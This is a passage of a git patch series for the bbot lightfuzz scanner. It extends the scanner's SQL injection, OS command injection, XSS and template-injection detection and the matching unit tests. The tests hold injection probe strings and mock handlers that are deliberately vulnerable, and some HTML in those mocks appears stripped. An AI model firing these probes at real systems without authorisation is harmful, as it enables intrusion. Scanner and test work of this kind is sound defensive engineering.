module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -517,7 +574,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) expect_args = re.compile("/otherpage.php") @@ -576,7 +635,9 @@ def request_handler(self, request): return Response(self.parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) expect_args = re.compile("/otherpage.php") @@ -688,7 +749,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -756,7 +819,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -813,7 +878,9 @@ def check(self, module_test, events): # SQLI Single Quote/Two Single Quote (headers) class Test_Lightfuzz_sqli_headers(Test_Lightfuzz_sqli): async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -881,7 +948,9 @@ def check(self, module_test, events): # SQLI Single Quote/Two Single Quote (cookies) class Test_Lightfuzz_sqli_cookies(Test_Lightfuzz_sqli): async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -999,6 +1068,81 @@ def check(self, module_test, events): assert sqldelay_finding_emitted, "SQLi Delay FINDING not emitted" +# Blind SQLi where only row-independent one-shot SLEEP payloads trigger a delay. +# Simulates the common real-world case where the injected value does not match +# any row in the target table, causing row-scoped AND-based SLEEP payloads to +# short-circuit and never execute. Also guards against regression of a missing +# list comma that previously fused Oracle and MSSQL probes into one malformed +# concatenated string. +class Test_Lightfuzz_sqli_delay_or_rowindependent(Test_Lightfuzz_sqli): + received_payloads = [] + + def request_handler(self, request): + from time import sleep + + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + self.__class__.received_payloads.append(decoded) + + sql_block = """ +
+

0 search results found

+
+
+ """ + # Only the one-shot row-independent MySQL payload triggers a delay. + # The original AND-based mysql probe does not fire here, simulating + # a context where the injected value does not match any row. + if "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in decoded: + sleep(5) + return Response(sql_block, status=200) + return Response(parameter_block, status=200) + + def check(self, module_test, events): + web_parameter_emitted = False + one_shot_delay_finding = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [search]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Possible Blind SQL Injection" in desc + and "OR SLEEP(5) IS NOT NULL LIMIT 1-- -" in desc + ): + one_shot_delay_finding = True + + # Guard against regression of the missing-comma bug: Python string-literal + # concatenation of adjacent list entries would produce a payload containing + # both DBMS_LOCK.SLEEP and WAITFOR, which is never a valid single probe. + garbled = [ + p for p in self.received_payloads if "DBMS_LOCK.SLEEP" in p and "WAITFOR" in p + ] + assert not garbled, ( + f"Garbled Oracle+MSSQL concatenated probe was sent ({len(garbled)} times): " + f"{garbled[:1]}. This indicates the missing-comma bug has regressed." + ) + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert one_shot_delay_finding, ( + "One-shot row-independent SLEEP finding not emitted — " + "row-independent blind sqli detection regression." + ) + + # Serialization Module (Error Resolution) class Test_Lightfuzz_serial_errorresolution(ModuleTestBase): targets = ["http://127.0.0.1:8888"] @@ -1449,13 +1593,20 @@ def request_handler(self, request): value = qs.split("=")[1] if "&" in value: value = value.split("&")[0] - if "&& echo " in unquote(value): - cmdi_value = unquote(value).split("&& echo ")[1].split(" ")[0] + decoded = unquote(value) + # Simulate a Linux bash-family shell: evaluate $((A*B)) first so + # the arithmetic confirmation probe lands a product value, then + # fall back to plain-echo reflection for the generic probe. + arith = re.search(r"&& echo \$\(\((\d+)\*(\d+)\)\) &&", decoded) + if arith: + cmdi_value = str(int(arith.group(1)) * int(arith.group(2))) + elif "&& echo " in decoded: + cmdi_value = decoded.split("&& echo ")[1].split(" ")[0] else: - cmdi_value = value + cmdi_value = decoded cmdi_block = f"""
-

0 search results for '{unquote(cmdi_value)}'

+

0 search results for '{cmdi_value}'


""" @@ -1464,13 +1615,21 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + # Respect the numeric_only=True contract so int() conversions in the + # arithmetic canary path succeed. Non-numeric calls still receive the + # original deterministic letter string. + def rand_string(*args, **kwargs): + if kwargs.get("numeric_only"): + return "1234567890" + return "AAAAAAAAAAAAAA" + + module_test.scan.modules["lightfuzz"].helpers.rand_string = rand_string expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) def check(self, module_test, events): web_parameter_emitted = False - cmdi_echocanary_finding_emitted = False + cmdi_posix_arith_finding = False for e in events: if e.type == "WEB_PARAMETER": if "HTTP Extracted Parameter [search]" in e.data["description"]: @@ -1478,16 +1637,146 @@ def check(self, module_test, events): if e.type == "FINDING": if ( - "POSSIBLE OS Command Injection. Parameter: [search] Parameter Type: [GETPARAM] Detection Method: [echo canary] CMD Probe Delimeters: [&&]" + "POSSIBLE OS Command Injection. Parameter: [search] Parameter Type: [GETPARAM] Detection Method: [arithmetic canary (POSIX)] CMD Probe Delimeters: [&&]" in e.data["description"] ): - cmdi_echocanary_finding_emitted = True + cmdi_posix_arith_finding = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert cmdi_posix_arith_finding, "POSIX arithmetic canary CMDi FINDING not emitted" + + +# CMDi Windows `set /A` canary: simulates a cmd.exe target that evaluates +# `set /A A*B` and prints the product. The arithmetic confirmation cascade +# should land on the Windows arithmetic probe (after the POSIX probe returns +# the literal) and emit a HIGH-confidence finding labeled as cmd. +class Test_Lightfuzz_cmdi_windows(Test_Lightfuzz_cmdi): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Simulate cmd.exe: evaluate `set /A A*B` and print the product; + # reflect $((A*B)) literal (cmd doesn't expand POSIX arithmetic); + # reflect `echo X` args verbatim. + setA = re.search(r"&& set /A (\d+)\*(\d+) &&", decoded) + if setA: + result = int(setA.group(1)) * int(setA.group(2)) + return Response(f"

{result}

", status=200) + if "&& echo " in decoded: + cmdi_value = decoded.split("&& echo ")[1].split(" ")[0] + return Response( + f"

0 search results for '{cmdi_value}'

", + status=200, + ) + return Response(f"

0 search results for '{decoded}'

", status=200) + return Response(parameter_block, status=200) + def check(self, module_test, events): + web_parameter_emitted = False + windows_arith_finding = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [search]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Detection Method: [arithmetic canary (cmd)]" in desc + and "Parameter: [search]" in desc + and "[&&]" in desc + ): + windows_arith_finding = True assert web_parameter_emitted, "WEB_PARAMETER was not emitted" - assert cmdi_echocanary_finding_emitted, "echo canary CMDi FINDING not emitted" + assert windows_arith_finding, ( + "Windows cmd arithmetic canary HIGH-confidence FINDING was not emitted" + ) + + +# CMDi parser-error reflection: simulates a parser (SQL, JSON, YAML) that +# reflects the probe's offending token back in its error. Under the three- +# stage cascade this should NOT produce a "Possible Command Injection" +# finding at all, because neither the POSIX `$((A*B))` nor the Windows +# `set /A A*B` confirmation probe can coax a shell product out of a text +# parser. Instead, a separate "Possible Parameter Reflection" finding is +# emitted to preserve the adjacent-vuln signal without overclaiming cmdi. +class Test_Lightfuzz_cmdi_parser_reflection_downgrade(Test_Lightfuzz_cmdi): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + """ + if "search=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + # Real parsers only trip when a shell-style metachar breaks the + # surrounding syntax. Require a delimiter before the token so the + # AAAA false-positive probe does not accidentally reflect. + arith_match = re.search(r"[;|&]\s*echo\s+(\$\(\(\d+\*\d+\)\))", decoded) + if arith_match: + return Response( + f'{{"error":"parse error near {arith_match.group(1)}"}}', + status=500, + mimetype="application/json", + ) + setA_match = re.search(r"[;|&]\s*set\s*/A\s+(\d+\*\d+)", decoded) + if setA_match: + return Response( + f'{{"error":"parse error near {setA_match.group(1)}"}}', + status=500, + mimetype="application/json", + ) + generic_match = re.search(r"[;|&]\s*echo\s+(\d+)", decoded) + if generic_match: + return Response( + f'{{"error":"parse error near {generic_match.group(1)}"}}', + status=500, + mimetype="application/json", + ) + return Response('{"results":[]}', status=200, mimetype="application/json") + return Response(parameter_block, status=200) + + def check(self, module_test, events): + cmdi_finding = False + reflection_finding = False + for e in events: + if e.type == "FINDING": + name = e.data.get("name", "") + if "Command Injection" in name: + cmdi_finding = True + if "Parameter Reflection" in name: + reflection_finding = True + + assert not cmdi_finding, ( + "Parser-error reflection should NOT produce a Possible Command " + "Injection finding under the three-stage cascade (neither POSIX " + "nor Windows arithmetic probe can coax a product out of a text " + "parser)." + ) + assert reflection_finding, ( + "Expected a Possible Parameter Reflection finding for the " + "reflection-only detection path (preserves adjacent-vuln signal " + "without overclaiming cmdi)." + ) -# CMDi interactsh class Test_Lightfuzz_cmdi_interactsh(Test_Lightfuzz_cmdi): @staticmethod def extract_subdomain_tag(data): @@ -1679,7 +1968,9 @@ def request_handler(self, request): return Response(parameter_block, status=200, headers={"Content-Type": "application/json"}) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1735,7 +2026,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -1780,7 +2073,9 @@ def request_handler(self, request): return Response(fp_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2405,7 +2700,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2452,7 +2749,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2790,7 +3089,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2866,7 +3167,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -2979,7 +3282,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -3138,7 +3443,9 @@ def request_handler(self, request): return Response(parameter_block, status=200) async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) expect_args = re.compile("/") module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) @@ -3168,7 +3475,9 @@ class Test_Lightfuzz_static_url_filter(ModuleTestBase): } async def setup_after_prep(self, module_test): - module_test.scan.modules["lightfuzz"].helpers.rand_string = lambda *args, **kwargs: "AAAAAAAAAAAAAA" + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) respond_args = {"response_data": "placeholder", "status": 200} expect_args = {"method": "GET", "uri": "/"} module_test.set_expect_requests(expect_args=expect_args, respond_args=respond_args) From b06096fa207bc5d77985bac05a0353eea4e6f34a Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 23 Apr 2026 22:10:53 -0400 Subject: [PATCH 16/50] Lightfuzz FN-hunt round 2: xss context coverage MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Previously `determine_context` recognized only three contexts: between tags, double-quoted attribute, and plain JS string. Real-world XSS reflections into single-quoted attributes, non-`action` URL attributes (href, src, formaction, etc.), HTML comments, and JS template literals were all missed. Added: - Single-quoted attribute detection + quote-aware breakout probes. Tracking the wrapping quote type prevents false positives from the wrong-quote char reflecting harmlessly inside. - URL-scheme probe generalized from `action="javascript:..."` to match any URL-bearing attribute. - HTML comment context: detected via `` and probed by testing whether `-->` survives reflection. - JS template literal (backtick) context: detected via backtick-wrapped reflection inside " @@ -215,21 +253,38 @@ async def fuzz(self): random_string, reflection_probe_result.text ) - # Skip the test if the context is outside - if quote_context == "outside": - return - - # Update probes based on the quote context - if quote_context == "single": - in_javascript_escape_probe = rf"a\';zzzzz({random_string})\\" - in_javascript_escape_match = rf"a\\';zzzzz({random_string})\\" - elif quote_context == "double": - in_javascript_escape_probe = rf"a\";zzzzz({random_string})\\" - in_javascript_escape_match = rf'a\\";zzzzz({random_string})\\' - - await self.check_probe( - cookies, - in_javascript_escape_probe, - in_javascript_escape_match, - f"In Javascript (escaping the escape character, {quote_context} quote)", - ) + # Only run the escape-the-escape probe for quoted-string + # contexts. Backtick-wrapped (template-literal) context is + # handled separately below. + if quote_context in ("single", "double"): + if quote_context == "single": + in_javascript_escape_probe = rf"a\';zzzzz({random_string})\\" + in_javascript_escape_match = rf"a\\';zzzzz({random_string})\\" + else: + in_javascript_escape_probe = rf"a\";zzzzz({random_string})\\" + in_javascript_escape_match = rf'a\\";zzzzz({random_string})\\' + + await self.check_probe( + cookies, + in_javascript_escape_probe, + in_javascript_escape_match, + f"In Javascript (escaping the escape character, {quote_context} quote)", + ) + + if in_html_comment: + # Breakout probe: if `-->` survives reflection inside an HTML + # comment, the attacker can close the comment and inject fresh + # markup. Match must be inside the HTML comment's bounds — or + # we'd be reflecting somewhere else. + html_comment_probe = f"{random_string}-->z" + html_comment_match = f"{random_string}-->z" + await self.check_probe(cookies, html_comment_probe, html_comment_match, "HTML Comment") + + if in_js_backtick: + # Template-literal probe: inside `...{injection}...` inside a + # script tag, `${...}` interpolation runs arbitrary JS. If + # `${`, the canary, and `}` all survive reflection unescaped, + # the injection can execute JS via template-literal interpolation. + backtick_probe = f"${{{random_string}}}" + backtick_match = f"${{{random_string}}}" + await self.check_probe(cookies, backtick_probe, backtick_match, "JS Template Literal") diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index 691b0a1ec0..d0f996dd70 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -285,6 +285,147 @@ def check(self, module_test, events): assert xss_finding_emitted, "Between Tags XSS FINDING not emitted" +# Tag Attribute XSS with single-quoted value. Verifies that the attribute- +# context probes trigger against `` — which was +# previously missed because the regex only matched double-quoted attributes +# and the breakout probe hardcoded `"` as the breakout char. +class Test_Lightfuzz_xss_single_quote_attribute(Test_Lightfuzz_xss): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + Link + + """ + if "foo=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + # Single-quoted attribute; only `<` and `>` are stripped so the + # attacker can still close the quote and inject event handlers. + safe = unquote(value).replace("<", "").replace(">", "") + xss_block = f""" +
+
hi
+
+
+ """ + return Response(xss_block, status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + web_parameter_emitted = False + single_quote_finding = False + for e in events: + if e.type == "WEB_PARAMETER": + if "HTTP Extracted Parameter [foo]" in e.data["description"]: + web_parameter_emitted = True + if e.type == "FINDING": + desc = e.data["description"] + if ( + "Possible Reflected XSS" in desc + and "Parameter: [foo]" in desc + and "Tag Attribute (' quoted)" in desc + ): + single_quote_finding = True + + assert web_parameter_emitted, "WEB_PARAMETER was not emitted" + assert single_quote_finding, "Single-quote attribute XSS FINDING not emitted" + + +# HTML-comment-context XSS. Verifies that a reflection inside `` +# is detected when the `-->` sequence survives reflection (attacker can +# close the comment and inject markup afterward). +class Test_Lightfuzz_xss_html_comment(Test_Lightfuzz_xss): + def request_handler(self, request): + qs = str(request.query_string.decode()) + parameter_block = """ + + Link + + """ + if "foo=" in qs: + value = qs.split("=")[1] + if "&" in value: + value = value.split("&")[0] + decoded = unquote(value) + return Response(f"", status=200) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + html_comment_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if "Possible Reflected XSS" in desc and "Context: [HTML Comment]" in desc: + html_comment_finding = True + assert html_comment_finding, "HTML Comment XSS FINDING not emitted" + + +# JS-template-literal-context XSS. Verifies detection of reflection inside +# a backtick-wrapped string in a closure, but + # leave `${`, `}`, and backtick alone. + safe = decoded.replace("<", "").replace(">", "") + return Response( + "", + status=200, + ) + return Response(parameter_block, status=200) + + async def setup_after_prep(self, module_test): + module_test.scan.modules["lightfuzz"].helpers.rand_string = ( + lambda *args, **kwargs: "1234567890" if kwargs.get("numeric_only") else "AAAAAAAAAAAAAA" + ) + expect_args = re.compile("/") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + expect_args = re.compile("/otherpage.php") + module_test.set_expect_requests_handler(expect_args=expect_args, request_handler=self.request_handler) + + def check(self, module_test, events): + backtick_finding = False + for e in events: + if e.type == "FINDING": + desc = e.data["description"] + if "Possible Reflected XSS" in desc and "Context: [JS Template Literal]" in desc: + backtick_finding = True + assert backtick_finding, "JS Template Literal XSS FINDING not emitted" + + # Form Action Injection Detection class Test_Lightfuzz_xss_formaction(Test_Lightfuzz_xss): def request_handler(self, request): @@ -325,14 +466,15 @@ def check(self, module_test, events): web_parameter_emitted = True if e.type == "FINDING": + desc = e.data["description"] if ( - "Possible Reflected XSS. Parameter: [func] Context: [Form Action Injection] Parameter Type: [POSTPARAM]" - in e.data["description"] + 'Possible Reflected XSS. Parameter: [func] Context: [URL-scheme Injection (" quoted)] Parameter Type: [POSTPARAM]' + in desc ): xss_finding_emitted = True assert web_parameter_emitted, "WEB_PARAMETER was not emitted" - assert xss_finding_emitted, "Form Action XSS FINDING not emitted" + assert xss_finding_emitted, "URL-scheme Injection XSS FINDING not emitted" # Base64 Envelope XSS Detection @@ -594,12 +736,17 @@ def check(self, module_test, events): original_value_captured = True if e.type == "FINDING": - if "Possible Reflected XSS. Parameter: [foo] Context: [Tag Attribute]" in e.data["description"]: + desc = e.data["description"] + if ( + "Possible Reflected XSS. Parameter: [foo] Context: [Tag Attribute" + in desc + and 'quoted)' in desc + ): xss_finding_emitted = True assert web_parameter_emitted, "WEB_PARAMETER was not emitted" assert original_value_captured, "original_value not captured" - assert xss_finding_emitted, "Between Tags XSS FINDING not emitted" + assert xss_finding_emitted, "Tag Attribute XSS FINDING not emitted" # In Javascript XSS Detection From 8724337ad04e41fee21ff2534e4734bfa0673542 Mon Sep 17 00:00:00 2001 From: liquidsec Date: Thu, 23 Apr 2026 22:51:15 -0400 Subject: [PATCH 17/50] Lightfuzz FN-hunt round 3: ssti direct probes + FP guard MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Two changes to the ssti submodule: 1. Add a direct `{{1337*1337}}` probe and a single-brace Smarty variant `{1337*1337}`. The existing `1,787{{z}},569` trick relies on `{{z}}` silently rendering as empty, which fails in StrictUndefined Jinja2 environments and other engines that raise on undefined vars. A direct arithmetic probe still works in those contexts. 2. Add a baseline-response check: before running any probes, fetch the response with the original value and confirm the detection canaries (1787569 / 1,787,569) aren't already present. If they are, abort — the number is part of the page, not a template-eval result. This eliminates the rare coincidental-number false positive. Tests: 2 new save-points. One exercises the direct {{A*B}} path with a mock template engine that raises on {{z}} (simulating StrictUndefined). The other confirms the baseline check suppresses findings on pages that already contain 1,787,569 in static content. --- bbot/modules/lightfuzz/submodules/ssti.py | 42 ++++++++++--- .../module_tests/test_module_lightfuzz.py | 63 +++++++++++++++++++ 2 files changed, 98 insertions(+), 7 deletions(-) diff --git a/bbot/modules/lightfuzz/submodules/ssti.py b/bbot/modules/lightfuzz/submodules/ssti.py index 187c5ca4bf..25b548744f 100644 --- a/bbot/modules/lightfuzz/submodules/ssti.py +++ b/bbot/modules/lightfuzz/submodules/ssti.py @@ -9,26 +9,54 @@ class ssti(BaseLightfuzz): * Arithmetic Evaluation: - Injects encoded and unencoded multiplication expressions to detect evaluation + - Covers ERB/JSP, EL/Freemarker/Mako, Jinja2/Twig (both the + direct `{{1337*1337}}` form and the `1,787{{z}},569` comma- + collapse trick for engines that render `{{undefined}}` as ""), + and Smarty (single-brace) + - Baseline-gated: suppresses findings when the canary product + already appears in the unaltered response, which eliminates the + rare coincidental-number false positive """ friendly_name = "Server-side Template Injection" async def fuzz(self): cookies = self.event.data.get("assigned_cookies", {}) - # These are common SSTI payloads, each attempting to trigger an integer multiplication which would produce an expected value + + # Baseline: the current response without any template syntax in the + # value. If the detection canary (`1787569` or `1,787,569`) already + # appears here, later matches are ambiguous and we should not flag. + probe_value = self.incoming_probe_value(populate_empty=True) + baseline = await self.standard_probe( + self.event.data["type"], cookies, probe_value, allow_redirects=True, skip_urlencoding=True + ) + if baseline is None: + self.debug("baseline request failed, aborting ssti detection") + return + baseline_text = baseline.text + if "1787569" in baseline_text or "1,787,569" in baseline_text: + self.debug( + "canary value already present in baseline response; suppressing ssti detection " + "to avoid a coincidental-number false positive" + ) + return + + # Common SSTI payloads across template engines. Each attempts to + # trigger 1337*1337 = 1787569. ssti_probes = [ - "<%25%3d%201337*1337%20%25>", - "<%= 1337*1337 %>", - "${1337*1337}", - "%24%7b1337*1337%7d", - "1,787{{z}},569", + "<%25%3d%201337*1337%20%25>", # URL-encoded ERB/JSP `<%= 1337*1337 %>` + "<%= 1337*1337 %>", # ERB/JSP + "${1337*1337}", # EL / Freemarker / Thymeleaf / Mako + "%24%7b1337*1337%7d", # URL-encoded ${1337*1337} + "{{1337*1337}}", # Jinja2 / Twig / Tornado / Django-template + "1,787{{z}},569", # Jinja2 comma-collapse (legacy, still useful) + "{1337*1337}", # Smarty single-brace ] for probe_value in ssti_probes: r = await self.standard_probe( self.event.data["type"], cookies, probe_value, allow_redirects=True, skip_urlencoding=True ) - # look for the expected value in the response if r and ("1787569" in r.text or "1,787,569" in r.text): self.results.append( { diff --git a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py index d0f996dd70..b067bab583 100644 --- a/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py +++ b/bbot/test/test_step_2/module_tests/test_module_lightfuzz.py @@ -225,6 +225,69 @@ def check(self, module_test, events): assert ssti_finding_emitted, "SSTI integer multiply FINDING not emitted" +# SSTI direct {{A*B}} probe — simulates a template engine (e.g. Jinja2 with +# StrictUndefined) that raises on `{{undefined_var}}` so the comma-collapse +# trick fails, but still evaluates an arithmetic expression like +# `{{1337*1337}}` because arithmetic has no undefined variables. +class Test_Lightfuzz_ssti_direct_jinja(Test_Lightfuzz_ssti_multiply): + def request_handler(self, request): + qs = str(request.query_string.decode()) + from urllib.parse import unquote as _unquote + + value = qs.split("data=")[1] if "data=" in qs else "" + if "&" in value: + value = value.split("&")[0] + decoded = _unquote(value) + # `{{z}}` raises in StrictUndefined engines — the comma-collapse + # probe produces a 500 instead of the expected `1,787,569`. + if "{{z}}" in decoded: + return Response("Template error: 'z' is undefined", status=500) + # `{{A*B}}` evaluates normally when A and B are literal ints. + if decoded.startswith("{{") and decoded.endswith("}}"): + inner = decoded[2:-2] + if "*" in inner: + a, b = inner.split("*") + try: + return Response(f"
{int(a) * int(b)}
", status=200) + except ValueError: + pass + # Anything else: baseline-ish echo, no template evaluation + return Response(f"
Hi, {decoded}
